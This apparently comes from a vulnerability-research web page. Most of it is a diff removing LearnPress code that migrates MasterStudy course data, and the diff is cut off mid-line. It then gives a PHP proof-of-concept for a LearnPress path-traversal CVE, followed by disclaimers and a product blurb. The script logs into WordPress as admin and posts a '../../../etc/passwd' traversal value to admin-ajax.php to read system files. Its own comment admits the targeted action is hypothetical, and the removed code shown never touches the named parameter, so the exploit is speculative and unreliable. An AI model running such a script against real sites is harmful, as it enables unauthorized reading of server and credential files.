-	}
-
-	/**
-	 * @param WP_REST_Request $request
-	 *
-	 * @return WP_REST_Response
-	 */
-	public function migrate( WP_REST_Request $request ) {
-		try {
-			if ( ! current_user_can( 'administrator' ) ) {
-				throw new Exception( __( 'You are not allowed to migrate.', 'learnpress-import-export' ), 403 );
-			}
-
-			if ( empty( MasterStudyCourseModel::get_course_total() ) ) {
-				throw new Exception( __( 'There are no master study courses.', 'learnpress-import-export' ), 404 );
-			}
-
-			$params         = $request->get_params();
-			$migrate_item   = $params['item'] ?? 'course';
-			$paged          = $params['paged'] ?? 1;
-			$posts_per_page = $params['number'] ?? 10;
-
-			if ( get_option( 'master_study_migrate_time' ) && $migrate_item === 'course' && $paged === 1 ) { // First migrate request
-				throw new Exception( __( 'The courses have been migrated.', 'learnpress-import-export' ), 404 );
-			}
-
-			if ( empty( $migrate_item ) ) {
-				throw new Exception( __( 'Course item is required.', 'learnpress-import-export' ), 400 );
-			}
-
-			//Course
-			if ( $migrate_item === 'course' ) {
-				return $this->migrate_course( $paged, $posts_per_page );
-			} elseif ( $migrate_item === 'section' ) {
-				return $this->migrate_section( $paged, $posts_per_page );
-			} elseif ( $migrate_item === 'course_item' ) { //Migrate Lesson, quiz, assignment
-				return $this->migrate_course_item( $paged, $posts_per_page );
-			} elseif ( $migrate_item === 'question' ) {
-				return $this->migrate_question( $paged, $posts_per_page );
-			} elseif ( $migrate_item === 'course_process' ) {
-				return $this->migrate_course_process( $paged, $posts_per_page );
-			}
-		} catch ( Exception $e ) {
-
-			return RestApi::error( $e->getMessage(), $e->getCode() );
-		}
-	}
-
-	/**
-	 * @param $paged
-	 * @param $posts_per_page
-	 *
-	 * @return WP_REST_Response
-	 * @throws Exception
-	 */
-	public function migrate_course( $paged, $posts_per_page ) {
-		$lp_course_curd           = new LP_Course_CURD();
-		$master_study_course_args = array(
-			'post_type'      => LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_COURSE_CPT,
-			'paged'          => $paged,
-			'posts_per_page' => $posts_per_page,
-			'post_status'    => 'any',
-		);
-
-		$query = new WP_Query( $master_study_course_args );
-
-		if ( $query->have_posts() ) {
-			while ( $query->have_posts() ) {
-				$query->the_post();
-				$master_study_course_id = get_the_ID();
-
-				$lp_course_id = $this->get_migrated_lp_course( $master_study_course_id )['lp_course_id'] ?? '';
-
-				$master_study_course_author_id = get_the_author_meta( 'ID' );
-
-				$master_study_course_title   = get_the_title();
-				$master_study_course_content = get_the_content();
-				$master_study_course_status  = get_post_status();
-
-				//Course complete status migration
-				//Course enrolled
-
-				//Create lp course
-				if ( empty( $lp_course_id ) ) {
-					$lp_course_args = array(
-						'title'   => $master_study_course_title,
-						'content' => $master_study_course_content,
-						'status'  => $master_study_course_status,
-						'author'  => $master_study_course_author_id,
-					);
-
-					$lp_course_id = $lp_course_curd->create( $lp_course_args );
-					$this->add_migrated_course_item( $master_study_course_id, $lp_course_id );
-				}
-
-				//Course data
-				$this->migrate_course_meta_data( $master_study_course_id, $lp_course_id );
-			}
-
-			if ( $paged === 1 ) {
-				$this->update_migrate_option();
-			}
-		}
-		$data = array();
-
-		$data['max_page']              = $query->max_num_pages;
-		$data['post_count']            = $query->post_count;
-		$data['migrated_course_total'] = MasterStudy::migrated_course_total();
-
-		if ( $query->post_count === $posts_per_page ) {
-			$data['next_migrate_item'] = 'course';
-			$data['next_page']         = $paged + 1;
-
-			return RestApi::success( esc_html__( 'Migrated course!', 'learnpress-import-export' ), $data );
-		}
-
-		$data['next_migrate_item'] = 'section';
-		$data['next_page']         = 1;
-
-		return RestApi::success( esc_html__( 'All course migrated!', 'learnpress-import-export' ), $data );
-	}
-
-	/**
-	 * @param $paged
-	 * @param $posts_per_page
-	 *
-	 * @return WP_REST_Response
-	 */
-	public function migrate_section( $paged, $posts_per_page ) {
-		$master_study_section_total = MasterStudySectionModel::get_section_total();
-		$master_study_sections      = MasterStudySectionModel::get_sections( $posts_per_page, $paged );
-
-		if ( ! empty( $master_study_sections ) ) {
-			foreach ( $master_study_sections as $master_study_section ) {
-				$master_study_section_id = $master_study_section->id;
-				$lp_section_id           = $this->get_migrated_lp_section( $master_study_section_id )['lp_section_id'] ?? '';
-				$master_study_course_id  = $master_study_section->course_id;
-				$master_study_course_id  = intval( $master_study_course_id );
-				$lp_course_id            = $this->get_migrated_lp_course( $master_study_course_id )['lp_course_id'] ?? '';
-
-				if ( empty( $lp_course_id ) ) {
-					continue;
-				}
-
-				$section_curd = new LP_Section_CURD( $lp_course_id );
-				//Add lp section
-
-				if ( empty( $lp_section_id ) ) {
-					$lp_section_args = array(
-						'section_course_id'   => $lp_course_id,
-						'section_name'        => $master_study_section->title,
-						'section_order'       => intval( $master_study_section->order ),
-						'section_description' => '',
-					);
-
-					$section       = $section_curd->create( $lp_section_args );
-					$lp_section_id = $section['section_id'];
-
-					$this->add_migrated_section_item( $master_study_section_id, $lp_section_id, intval( $lp_course_id ) );
-				}
-			}
-		}
-
-		$data['max_page']               = ceil( $master_study_section_total / $posts_per_page );
-		$data['post_count']             = count( $master_study_sections );
-		$data['migrated_section_total'] = MasterStudy::migrated_section_total();
-
-		if ( $data['post_count'] === $posts_per_page ) {
-			$data['next_migrate_item'] = 'section';
-			$data['next_page']         = $paged + 1;
-
-			return RestApi::success( esc_html__( 'Migrated section!', 'learnpress-import-export' ), $data );
-		}
-
-		$data['next_migrate_item'] = 'course_item';
-		$data['next_page']         = 1;
-
-		return RestApi::success( esc_html__( 'All section migrated!', 'learnpress-import-export' ), $data );
-	}
-
-	/**
-	 * @param $paged
-	 * @param $posts_per_page
-	 *
-	 * @return WP_REST_Response
-	 * @throws Exception
-	 */
-	public function migrate_course_item( $paged, $posts_per_page ) {
-		//Get master study lesson or quiz
-		$master_study_course_items = MasterStudyCourseItemModel::get_course_item( $posts_per_page, $paged );
-
-		if ( ! empty( $master_study_course_items ) ) {
-			foreach ( $master_study_course_items as $master_study_course_item ) {
-				$master_study_item_id        = $master_study_course_item->post_id;
-				$master_study_item_post_type = $master_study_course_item->post_type;
-				$master_study_section_id     = $master_study_course_item->section_id;
-
-				$master_study_section_id = intval( $master_study_section_id );
-				$migrated_section        = $this->get_migrated_lp_section( $master_study_section_id );
-
-				$lp_section_id = $migrated_section['lp_section_id'] ?? '';
-				$lp_course_id  = $migrated_section['lp_course_id'] ?? '';
-
-				if ( empty( $lp_section_id ) || empty( $lp_course_id ) ) {
-					continue;
-				}
-
-				$section_curd = new LP_Section_CURD( $lp_course_id );
-
-				if ( $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_LESSON_CPT ) {
-					$migrate_item_type   = 'lesson';
-					$migrated_item_total = $this->get_migrated_lp_lesson_total( $master_study_item_id );
-				} elseif ( $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_QUIZ_CPT ) {
-					$migrate_item_type   = 'quiz';
-					$migrated_item_total = $this->get_migrated_lp_quiz_total( $master_study_item_id );
-				} else {
-					$migrate_item_type   = 'assignment';
-					$migrated_item_total = $this->get_migrated_lp_assignment_total( $master_study_item_id );
-				}
-
-				$master_study_item_obj = get_post( $master_study_item_id );
-				$new_item_id           = null;
-
-				if ( $migrated_item_total < MasterStudyCourseItemModel::get_course_item_total( $master_study_item_id ) ) {
-					//Add lesson or quiz
-					$lp_item_args = array(
-						'title'   => $master_study_item_obj->post_title,
-						'content' => apply_filters( 'the_content', $master_study_item_obj->post_content ),
-						'status'  => $master_study_item_obj->post_status,
-					);
-
-					if ( in_array(
-						$master_study_item_post_type,
-						array(
-							LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_LESSON_CPT,
-							LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_QUIZ_CPT,
-						)
-					) ) {
-						$lp_item_args['type'] = $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_LESSON_CPT ? LP_LESSON_CPT : LP_QUIZ_CPT;
-						$new_items            = $section_curd->new_item(
-							$lp_section_id,
-							$lp_item_args
-						);
-
-						$new_item    = end( $new_items );
-						$new_item_id = $new_item['id'] ?? '';
-
-					} elseif ( $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_ASSIGNMENT_CPT ) {
-						$new_item_id = LPAssignmentModel::create( $lp_item_args );
-						$items       = array(
-							array(
-								'type' => 'lp_assignment',
-								'id'   => $new_item_id,
-							),
-						);
-
-						$section_curd->add_items_section( $lp_section_id, $items );
-					}
-
-					if ( $migrate_item_type === 'lesson' ) {
-						$this->add_migrated_lesson_item( $master_study_item_id, $new_item_id, $lp_course_id, $lp_section_id );
-					} elseif ( $migrate_item_type === 'quiz' ) {
-						$this->add_migrated_quiz_item( $master_study_item_id, $new_item_id, $lp_course_id, $lp_section_id );
-					} else {
-						$this->add_migrated_assignment_item( $master_study_item_id, $new_item_id, $lp_course_id, $lp_section_id );
-					}
-				}
-
-				//Lesson or quiz meta data
-				$lp_course_item_meta = array();
-
-				if ( $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_LESSON_CPT ) {
-					//Preview
-					$master_study_lesson_preview = get_post_meta( $master_study_item_id, 'preview', true );
-					if ( ! empty( $master_study_lesson_preview ) && $master_study_lesson_preview === 'on' ) {
-						$lp_course_item_meta['preview'] = 'yes';
-					}
-				} elseif ( $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_QUIZ_CPT ) {
-					//Duration
-					$lp_duration = '10 minute'; // default
-
-					$master_study_quiz_duration      = get_post_meta( $master_study_item_id, 'duration', true );
-					$master_study_quiz_duration_unit = get_post_meta( $master_study_item_id, 'duration_measure', true );
-					if ( ! empty( $master_study_quiz_duration ) ) {
-						$lp_duration = $master_study_quiz_duration . ' ' . rtrim( $master_study_quiz_duration_unit, 's' );
-					}
-					$lp_course_item_meta['duration'] = $lp_duration;
-
-					//Passing grade
-					$master_study_passing_grade           = get_post_meta( $master_study_item_id, 'passing_grade', true );
-					$lp_course_item_meta['passing_grade'] = $master_study_passing_grade;
-
-					//Retake count
-					$master_study_quiz_attempts = get_post_meta( $master_study_item_id, 'quiz_attempts', true );
-					$master_study_attempts      = get_post_meta( $master_study_item_id, 'attempts', true );
-					if ( ! empty( $master_study_quiz_attempts ) && ! empty( $master_study_attempts ) ) {
-						$lp_course_item_meta['retake_count'] = $master_study_attempts;
-					} else {
-						$lp_course_item_meta['retake_count'] = -1;
-					}
-				} elseif ( $master_study_item_post_type === LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_ASSIGNMENT_CPT ) {  // assignment
-					//Attachments
-					$master_study_assignment_attachments = get_post_meta( $master_study_item_id, 'assignment_files', true );
-					$lp_course_item_meta['attachments']  = json_decode( $master_study_assignment_attachments, true );
-
-					//Duration
-					$master_study_assignment_duration_value = get_post_meta( $master_study_item_id, 'time_limit', true );
-					$master_study_assignment_duration_time  = get_post_meta( $master_study_item_id, 'time_limit_unit', true );
-
-					$master_study_assignment_duration_value = trim( $master_study_assignment_duration_value );
-					$master_study_assignment_duration_time  = trim( $master_study_assignment_duration_time );
-
-					$lp_course_item_meta['duration'] = $master_study_assignment_duration_value . ' ' . rtrim( $master_study_assignment_duration_time, 's' );
-
-					//Passing grade
-					$master_study_passing_grade           = get_post_meta( $master_study_item_id, 'passing_grade', true );
-					$lp_course_item_meta['passing_grade'] = $master_study_passing_grade;
-
-					//Attempts
-					$master_study_assignment_attempts = get_post_meta( $master_study_item_id, 'assignment_tries', true );
-					if ( ! empty( $master_study_assignment_attempts ) ) {
-						$lp_course_item_meta['retake_count'] = $master_study_assignment_attempts;
-					} else {
-						$lp_course_item_meta['retake_count'] = -1;
-					}
-				}
-
-				//Section item meta data
-				if ( $new_item_id && count( $lp_course_item_meta ) ) {
-					foreach ( $lp_course_item_meta as $key => $value ) {
-						update_post_meta( $new_item_id, '_lp_' . $key, $value );
-					}
-				}
-			}
-		}
-
-		$post_count                     = is_array( $master_study_course_items ) ? count( $master_study_course_items ) : 0;
-		$master_study_course_item_total = MasterStudyCourseItemModel::get_course_item_total();
-
-		$data['max_page']                   = ceil( $master_study_course_item_total / $posts_per_page );
-		$data['post_count']                 = $post_count;
-		$data['migrated_course_item_total'] = MasterStudy::migrated_course_item_total();
-
-		if ( $post_count === $posts_per_page ) {
-			$data['next_migrate_item'] = 'course_item';
-			$data['next_page']         = $paged + 1;
-
-			return RestApi::success( esc_html__( 'Migrated course item!', 'learnpress-import-export' ), $data );
-		}
-
-		$data['next_migrate_item'] = 'question';
-		$data['next_page']         = 1;
-
-		return RestApi::success( esc_html__( 'All course item migrated!', 'learnpress-import-export' ), $data );
-	}
-
-	/**
-	 * @param $paged
-	 * @param $posts_per_page
-	 *
-	 * @return WP_REST_Response
-	 */
-	public function migrate_question( $paged, $posts_per_page ) {
-		global $wpdb;
-		$question_curd          = new LP_Question_CURD();
-		$offset                 = ( $paged - 1 ) * $posts_per_page;
-		$limit                  = $posts_per_page;
-		$master_study_questions = MasterStudyQuestionModel::get_questions( $offset, $limit );
-
-		if ( count( $master_study_questions ) ) {
-			foreach ( $master_study_questions as $master_study_question ) {
-				$master_study_question_id    = $master_study_question->ID;
-				$master_study_question_title = $master_study_question->post_title;
-				$master_study_question_des   = '';
-				$master_study_question_type  = get_post_meta( $master_study_question_id, 'type', true );
-
-				if ( $master_study_question_type === QuestionType::SINGLE_CHOICE ) {
-					$lp_question_type = 'single_choice';
-				} elseif ( $master_study_question_type === QuestionType::MULTI_CHOICE ) {
-					$lp_question_type = 'multi_choice';
-				} elseif ( $master_study_question_type === QuestionType::TRUE_FALSE ) {
-					$lp_question_type = 'true_or_false';
-				} elseif ( $master_study_question_type === QuestionType::FILL_THE_GAP ) {
-					$lp_question_type = 'fill_in_blanks';
-				} else {
-					$lp_question_type = '';
-				}
-
-				$lp_question_args = array(
-					'id'             => '',
-					'status'         => 'publish',
-					'type'           => $lp_question_type,
-					'title'          => strip_tags( html_entity_decode( $master_study_question_title ) ),
-					'content'        => $master_study_question_des,
-					'create_answers' => false,
-				);
-
-				$lp_question    = $question_curd->create( $lp_question_args );
-				$lp_question_id = $lp_question->get_id();
-
-				$master_study_quizzes = get_posts(
-					[
-						'post_type'      => LP_ADDON_IMPORT_EXPORT_MASTER_STUDY_QUIZ_CPT,
-						'posts_per_page' => -1,
-						'meta_query'     => [
-							[
-								'key'     => 'questions',
-								'value'   => $master_study_question_id,
-								'compare' => 'LIKE',
-							],
-						],
-					]
-				);
-
-				if ( ! empty( $master_study_quizzes ) && count( $master_study_quizzes ) > 0 ) {
-					foreach ( $master_study_quizzes as $master_study_quiz ) {
-						//Create question tương ứng với số lượng quiz có chứa question
-						if ( $lp_question_id ) {
-							// add default meta for new lesson
-							$default_meta = LP_Question::get_default_meta();
-
-							if ( is_array( $default_meta ) ) {
-								foreach ( $default_meta as $key => $value ) {
-									update_post_meta( $lp_question_id, '_lp_' . $key, $value );
-								}
-							}
-
-							if ( ! empty( $lp_question_type ) ) {
-								update_post_meta( $lp_question_id, '_lp_type', $lp_question_type );
-								$question = LP_Question::get_question( $lp_question_id, array( 'type' => $lp_question_type ) );
-								$question->set_type( $lp_question_type );
-							}
-						}
-
-						$master_study_quiz_id = $master_study_quiz->ID;
-						//Get question ids of quiz
-						$question_ids = explode( ',', get_post_meta( $master_study_quiz_id, 'questions', true ) );
-
-						$master_study_question_order = array_search( $master_study_question_id, $question_ids );
-						if ( $master_study_question_order !== false ) {
-							$master_study_question_order = $master_study_question_order + 1;
-						} else {
-							$master_study_question_order = 1;
-						}
-
-						$lp_question_order   = $master_study_question_order;
-						$migrated_lp_quizzes = $this->get_migrated_lp_quiz( $master_study_quiz_id );
-
-						foreach ( $migrated_lp_quizzes as $migrated_lp_quiz ) {
-							$lp_quiz_id    = $migrated_lp_quiz['lp_quiz_id'] ?? '';
-							$lp_course_id  = $migrated_lp_quiz['lp_course_id'] ?? '';
-							$lp_section_id = $migrated_lp_quiz['lp_section_id'] ?? '';
-
-							if ( empty( $lp_quiz_id ) || empty( $lp_course_id ) || empty( $lp_section_id ) ) {
-								continue;
-							}
-
-							if ( $lp_question_id ) {
-								// add question to quiz
-								$quiz_curd = new LP_Quiz_CURD();
-								$quiz_curd->add_question(
-									$lp_quiz_id,
-									$lp_question_id,
-									array(
-										'order' => $lp_question_order,
-									)
-								);
-							}
-
-							$this->add_migrated_question_item(
-								$master_study_question_id,
-								$lp_question_id,
-								$lp_course_id,
-								$lp_section_id,
-								$lp_quiz_id
-							);
-						}
-
-						//Question meta
-
-						//Question answer
-						$master_study_question_answers = get_post_meta( $master_study_question_id, 'answers', true );
-						$lp_question_ans_order         = 1;
-						$lp_question_answer_meta_data  = array();
-
-						foreach ( $master_study_question_answers as $master_study_question_answer ) {
-							$title   = strip_tags( $master_study_question_answer['text'] );
-							$is_true = $master_study_question_answer['isTrue'];
-							if ( ! empty( $is_true ) ) {
-								$is_true = 'yes';
-							}
-
-							$value = learn_press_random_value();
-							if ( $master_study_question_type === QuestionType::FILL_THE_GAP ) {
-								$parts  = explode( '|', $title );
-								$result = '';
-								foreach ( $parts as $index => $part ) {
-									if ( $index % 2 == 0 ) {
-										$result .= $part;
-									} else {
-										$fill_value = trim( $part );
-										$unique_id  = General::get_unique_id( 12 );
-
-										$result .= '[fib fill="' . $fill_value . '" id="' . $unique_id . '"]';
-
-										$lp_question_answer_meta_data[ $unique_id ] = array(
-											'fill'       => $fill_value,
-											'id'         => $unique_id,
-											'comparison' => '',
-											'match_case' => 0,
-											'index'      => ( $index + 1 ) / 2,
-											'open'       => '',
-										);
-									}
-								}
-
-								$title   = $result;
-								$is_true = '';
-							}
-
-							if ( empty( $title ) ) {
-								continue;
-							}
-
-							$lp_question_ans_data = array(
-								'question_id' => $lp_question_id,
-								'title'       => $title,
-								'value'       => $value,
-								'is_true'     => $is_true,
-								'order'       => $lp_question_ans_order,
-							);
-
-							$wpdb->insert(
-								$wpdb->learnpress_question_answers,
-								$lp_question_ans_data,
-								array( '%d', '%s', '%s', '%s', '%d' )
-							);
-
-							$lp_question_answer_id = $wpdb->insert_id;
-							$this->add_migrated_question_answer_item(
-								$master_study_question_id,
-								$master_study_quiz_id,
-								$title,
-								$lp_question_answer_id
-							);
-
-							if ( $master_study_question_type === QuestionType::FILL_THE_GAP ) {
-								learn_press_update_question_answer_meta( $lp_question_answer_id, '_blanks', $lp_question_answer_meta_data );
-							}
-
-							$lp_question_ans_order = $lp_question_ans_order + 1;
-						}
-					}
-				} else {
-					$this->add_migrated_question_item(
-						$master_study_question_id,
-						$lp_question_id,
-						0,
-						0,
-						0
-					);
-				}
-			}
-		}
-
-		$post_count              = is_array( $master_study_questions ) ? count( $master_study_questions ) : 0;
-		$migrated_question_total = MasterStudy::migrated_question_total();
-		$total_question          = MasterStudyQuestionModel::get_question_total();
-
-		$data['max_page']                = ceil( $total_question / $posts_per_page );
-		$data['post_count']              = $post_count;
-		$data['migrated_question_total'] = $migrated_question_total;
-
-		if ( $post_count === $posts_per_page ) {
-			$data['next_migrate_item'] = 'question';
-			$data['next_page']         = $paged + 1;
-
-			return RestApi::success( esc_html__( 'Migrated question!', 'learnpress-import-export' ), $data );
-		}
-
-		$migrated_course = MasterStudy::migrated_course();
-		foreach ( $migrated_course as $value ) {
-			$lp_course_id = $value ['lp_course_id'];
-			$bg           = LP_Background_Single_Course::instance();
-			$bg->data(
-				array(
-					'handle_name' => 'save_post',
-					'course_id'   => $lp_course_id,
-					'data'        => [],
-				)
-			)->dispatch();
-		}
-
-		$data['next_migrate_item'] = 'course_process';
-		$data['next_page']         = 1;
-
-		return RestApi::success( esc_html__( 'Migrated all question!', 'learnpress-import-export' ), $data );
-	}
-
-	/**
-	 * @param $paged
-	 * @param $posts_per_page
-	 * @return WP_REST_Response
-	 * @throws Exception
-	 */
-	public function migrate_course_process( $paged, $posts_per_page ) {
-		$master_study_migrated_process_course_data = get_option( 'master_study_migrated_process_course_data', array() );
-
-		//Course enrolled
-		$master_study_process_courses = MasterStudyCourseModel::get_process_course_item( $posts_per_page, $paged );
-
-		if ( $master_study_process_courses ) {
-			foreach ( $master_study_process_courses as $master_study_process_course ) {
-				$master_study_course_id         = $master_study_process_course->course_id;
-				$master_study_course_start_time = $master_study_process_course->start_time;
-
-				$lp_course_id = $this->get_migrated_lp_course( $master_study_course_id )['lp_course_id'];
-
-				if ( empty( $lp_course_id ) ) { // If not migrate course => ignore
-					continue;
-				}
-
-				$master_study_student_id = $master_study_process_course->user_id;  // also is lp_course_student id
-
-				$lp_student = learn_press_get_user( $master_study_student_id );
-				//              $master_study_instructor_id = $lp_instructor_id = get_post_field( 'post_author', $master_study_course_id );
-
-				//Enrolled course
-				$user_course_item_data = array(
-					'user_id'    => $master_study_student_id,
-					'item_id'    => $lp_course_id,
-					'start_time' => gmdate( LP_Datetime::$format, $master_study_course_start_time ),
-					'item_type'  => LP_COURSE_CPT,
-					'status'     => LP_COURSE_ENROLLED,
-					'graduation' => LP_COURSE_GRADUATION_IN_PROGRESS,
-					'ref_id'     => 0,
-					'ref_type'   => 'lp_order',
-					'parent_id'  => 0,
-				);
-
-				$course_item_exist = UserItemModel::find_user_item(
-					$master_study_student_id,
-					$lp_course_id,
-					LP_COURSE_CPT,
-					$ref_id        = 0,
-					$ref_type      = 'lp_order',
-					false
-				);
-
-				if ( $course_item_exist ) {
-					$user_course_item_data['user_item_id'] = $course_item_exist->get_user_item_id();
-				}
-
-				$user_course_item = new UserItemModel( $user_course_item_data );
-				$user_course_item->save();
-
-				$user_course_item_id = $user_course_item->get_user_item_id();
-				//Lesson
-				$migrated_lessons = $this->get_lessons_by_lp_course_parent_id( $lp_course_id );
-
-				foreach ( $migrated_lessons as $migrated_lesson ) {
-					$master_study_lesson_id           = $migrated_lesson['master_study_lesson_id'];
-					$lp_lesson_id                     = $migrated_lesson['lp_lesson_id'];
-					$master_study_is_completed_lesson = STM_LMS_Lesson::is_lesson_completed( $master_study_student_id, $master_study_course_id, $master_study_lesson_id );
-					$lesson_already_completed         = stm_lms_get_user_lesson( $master_study_student_id, $master_study_course_id, $master_study_lesson_id, array( 'lesson_id' ) );
-
-					if ( $master_study_is_completed_lesson ) {
-						$user_lesson_item_data = array(
-							'user_id'    => $master_study_student_id,
-							'item_id'    => $lp_lesson_id,
-							'start_time' => gmdate( LP_Datetime::$format, get_the_time( 'U', $lesson_already_completed['start_time'] ) ),
-							'end_time'   => gmdate( LP_Datetime::$format, $lesson_already_completed['end_time'] ),
-							'item_type'  => LP_LESSON_CPT,
-							'status'     => LP_ITEM_COMPLETED,
-							'graduation' => 'passed',
-							'ref_id'     => $lp_course_id,
-							'ref_type'   => LP_COURSE_CPT,
-							'parent_id'  => $user_course_item_id,
-						);
-
-						$user_lesson_item = new UserItemModel( $user_lesson_item_data );
-						$user_lesson_item->save();
-					}
-				}
-
-				//Quiz
-				$migrated_quizzes = $this->get_quizzes_by_lp_course_parent_id( $lp_course_id );
-
-				foreach ( $migrated_quizzes as $migrated_quiz ) {
-					$master_study_quiz_id = $migrated_quiz['master_study_quiz_id'];
-					$lp_quiz_id           = $migrated_quiz['lp_quiz_id'];
-					$lp_quiz              = LP_Quiz::get_quiz( $lp_quiz_id );
-					$lp_question_ids      = $lp_quiz->get_question_ids();
-
-					//Quiz Attempt
-					$master_study_quiz_attempts = stm_lms_get_user_all_course_quizzes( $master_study_student_id, $master_study_course_id, $master_study_quiz_id, array(), false );
-
-					$master_study_quiz_attempt_count = count( $master_study_quiz_attempts );
-
-					//                  $quiz_data   = ( new CoursePlayerRepository() )->get_quiz_data( $master_study_quiz_id, $master_study_student_id );
-					//                  $master_study_quiz_attempts      = $quiz_data['attempts_left'] ?? 0;
-
-					if ( $master_study_quiz_attempt_count ) {
-						$user_quiz_item_data = array(
-							'user_id'    => $master_study_student_id,
-							'item_id'    => $lp_quiz_id,
-							'start_time' => null,
-							'end_time'   => null,
-							'item_type'  => LP_QUIZ_CPT,
-							'status'     => LP_ITEM_STARTED,
-							'graduation' => LP_GRADUATION_IN_PROGRESS,
-							'ref_id'     => $lp_course_id,
-							'ref_type'   => LP_COURSE_CPT,
-							'parent_id'  => $user_course_item_id,
-						);
-
-						$user_quiz_item = new UserItemModel( $user_quiz_item_data );
-						$user_quiz_item->save();
-
-						$user_quiz_item_id = $user_quiz_item->get_user_item_id();
-
-						foreach ( $master_study_quiz_attempts as $master_study_quiz_attempt ) {
-							$master_study_quiz_is_start = $master_study_quiz_attempt->progress !== 100;
-							//                          $master_study_quiz_is_end = $master_study_quiz_attempt->attempt_status === 100;
-							//                          $master_study_quiz_attempt_id = $master_study_quiz_attempt->attempt_id;
-							$master_study_quiz_start_time = $master_study_quiz_attempt->created_at ?? null;
-							$master_study_quiz_end_time   = null;
-
-							$user_quiz_item->status     = $master_study_quiz_is_start ? LP_ITEM_STARTED : LP_ITEM_COMPLETED;
-							$user_quiz_item->start_time = $master_study_quiz_start_time;
-							$user_quiz_item->end_time   = $master_study_quiz_end_time;
-
-							$master_study_quiz_attempt_answers = MasterStudyUserAnswerModel::get_quiz_answers( $master_study_course_id, $master_study_quiz_id );
-							$lp_answered                       = array();
-
-							foreach ( $master_study_quiz_attempt_answers as $master_study_quiz_attempt_answer ) {
-								$master_study_question_id = $master_study_quiz_attempt_answer->question_id;
-								$master_study_quiz_id     = $master_study_quiz_attempt_answer->quiz_id;
-								$lp_question_id           = $this->get_migrated_lp_question( $master_study_question_id )['lp_question_id'];
-
-								$master_study_user_answer = maybe_unserialize( $master_study_quiz_attempt_answer->user_answer );
-								if ( empty( $master_study_given_answer ) ) {
-									$master_study_given_answer = '';
-								}
-
-								$master_study_question_type = get_post_meta( $master_study_question_id, 'type', true );
-
-								if ( $master_study_question_type === QuestionType::SINGLE_CHOICE ) {
-									$lp_answer_id = $this->get_migrated_lp_question_answer( $master_study_question_id, $master_study_quiz_id, $master_study_user_answer )['lp_question_answer_id'];
-									$lp_answer    = LPQuestionAnswerModel::get_answer_by_answer_id( $lp_answer_id, true );
-									if ( $lp_answer ) {
-										$lp_answered[ $lp_question_id ] = $lp_answer->value;
-									}
-								} elseif ( $master_study_question_type === QuestionType::MULTI_CHOICE ) {
-									if ( ! empty( $master_study_user_answer ) ) {
-										if ( is_string( $master_study_user_answer ) ) {
-											$master_study_given_answer = explode( ',', $master_study_given_answer );
-										}
-
-										$lp_multi_choice_answered = array();
-										foreach ( $master_study_given_answer as $master_study_answer_item ) {
-											$lp_answer_id = $this->get_migrated_lp_question_answer( $master_study_question_id, $master_study

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7565 - LearnPress <= 4.1.4 - Path Traversal to Arbitrary File Read via 'import-user-file' Parameter

/**
 * This PoC demonstrates reading arbitrary files via directory traversal
 * in the 'import-user-file' parameter.
 */

// Configuration - change these values
$target_url = 'http://example.com'; // Target WordPress installation
$admin_username = 'admin'; // Administrator username
$admin_password = 'password'; // Administrator password

// File to read (relative path traversal from the uploads/import directory)
$file_to_read = '../../../../../../etc/passwd';

// Step 1: Authenticate as administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_username,
    'pwd' => $admin_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve7565.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

echo "[+] Authenticated successfully.n";

// Step 2: Exploit the path traversal
// The vulnerable parameter is 'import-user-file' likely processed by an AJAX handler
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'import_user_file', // Hypothetical action, actual may vary
    'import-user-file' => $file_to_read
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve7565.txt');
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Exploit response:n";
echo $response . "n";

// Clean up
unlink('/tmp/cookies_cve7565.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

